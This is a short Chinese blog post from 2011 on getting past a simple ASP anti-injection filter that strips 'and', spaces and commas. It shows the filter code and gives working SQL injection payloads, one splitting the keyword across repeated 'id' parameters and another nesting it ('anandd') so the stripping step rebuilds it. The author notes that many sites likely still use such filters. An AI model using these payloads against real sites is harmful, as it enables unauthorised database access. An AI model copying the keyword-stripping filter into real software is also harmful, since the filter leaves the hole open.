ASP绕过防注入的新思路

要想绕过防注入,就要打碎关键字。假如有类似这么一段防注入代码:

<%
id=request("id")
id=replace(id,"and","")
··· ··· //过滤其它的危险关键字
id=replace(id," ","")
id=replace(id,",","")  //过滤空格和逗号,这是使用本方法必须的条件
%>
你还有办法注入吗?
以打碎关键字“and"为例,咱大可以这样:
test.asp?id=127%20&id=an&id=d%201=1
原理很简单,如果你提交test.asp?id=1&id=2&id=3时,asp接受到的结果是:1, 2, 3。注意中间的空格。
php的无效,都特么的直接覆盖了,其它的没测试。本文所设计的使用条件比较苛刻,需要过滤逗号和空格,但我估计存在这种问题的站点依然不少

也可以这样写

http;//127.0.0.1/1.asp?id=1
http;//127.0.0.1/1.asp?id=(1)anandd(1=1)

posted on 2011-04-27 03:47  小宝哥哥  阅读(585)  评论(0编辑  收藏  举报

导航

Tasup